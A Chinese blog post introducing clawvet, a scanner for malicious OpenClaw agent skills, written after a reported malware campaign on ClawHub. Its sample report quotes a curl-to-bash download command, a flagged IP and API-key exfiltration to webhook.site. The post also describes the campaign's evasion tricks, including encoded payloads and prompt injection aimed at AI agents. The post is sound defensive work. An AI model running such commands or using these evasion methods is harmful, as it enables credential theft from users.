在 ClawHub 发现 824 个恶意技能后,我为 OpenClaw 技能构建了一个 6 步安全扫描器

发布: (2026年3月3日 GMT+8 17:13)
4 分钟阅读
原文: Dev.to

Source: Dev.to

概览

2026 年 2 月,安全研究人员发现约 20 %ClawHub(OpenClaw AI 代理插件市场)技能是恶意的。 “ClawHavoc” 活动悄悄地将伪装成生产力工具的信息窃取程序散布开来。声称可以管理日历的技能实际上在向 C2 服务器泄露 API 密钥、SSH 凭证和浏览器数据。

介绍 clawvet

clawvet 是一款 CLI 工具,在你安装任意 OpenClaw SKILL.md 文件之前,对其执行六个独立的分析过程。大多数现有扫描器只进行一次正则匹配,而 clawvet 结合了静态、语义和元数据检查,以捕获更广泛的威胁。

六个分析过程

过程功能描述
Skill Parser提取 YAML 前置元数据、代码块、URL、IP 和域名
Static Analysis54 条正则模式,覆盖 12 类(RCE、凭证窃取、反向 shell、DNS 泄露、混淆、提示注入等)
Metadata Validator标记未声明的二进制文件、环境变量、缺失描述、错误的 semver 版本号
Dependency Checker检测 npx -y 自动安装、全局 npm 安装、风险包
Typosquat Detector使用 Levenshtein 距离对流行技能进行比对,捕获名称冒充
Semantic Analysis (可选)Claude AI 分析指令,寻找社会工程学手段和隐藏功能

使用方法

# 扫描本地技能
npx clawvet scan ./suspicious-skill/

# 为 CI/CD 流水线输出 JSON
npx clawvet scan ./my-skill --format json --fail-on high

示例扫描报告

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ClawVet Scan Report

  Skill:   productivity-boost
  Version: 1.0.0
  Risk Score: 100/100  Grade: F

  [CRITICAL] Curl piped to shell
    curl -sL https://...setup.sh | bash

  [HIGH] Known malicious IP
    91.92.242.15

  [HIGH] API key exfiltration
    ANTHROPIC_API_KEY → webhook.site

  Recommendation: BLOCK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

为什么 6 步法有效

ClawHavoc 技能通过以下方式规避了基础正则检查:

  • 将恶意命令拆分到多个代码块
  • 使用 base64 或十六进制编码的负载
  • 在 YAML 元数据字段中隐藏 C2 IP
  • 名称拼写相似(如 todoistt 替代 todoist-cli
  • 嵌入提示注入,使 AI 代理执行未预期的指令

没有单一的分析技术能够捕获所有这些手段。通过叠加六个不同的过程,clawvet 能捕获任何单一方法可能遗漏的威胁。

  • 54 条静态检测模式
  • 61 项测试(单元、集成、正则安全、CLI 端到端)
  • 12 类威胁
  • 6 套测试夹具,从良性到完全恶意不等
  • 对所有正则模式实现灾难性回溯保护

CI 集成(GitHub Actions)

- name: Vet skill before merge
  run: npx clawvet scan ./my-skill --format json --fail-on high

入门

  • Source code:
  • Install globally:
npm install -g clawvet

如果你在使用 OpenClaw,试试 clawvet 并告诉作者你的使用感受。欢迎提交 issue 和 pull request。

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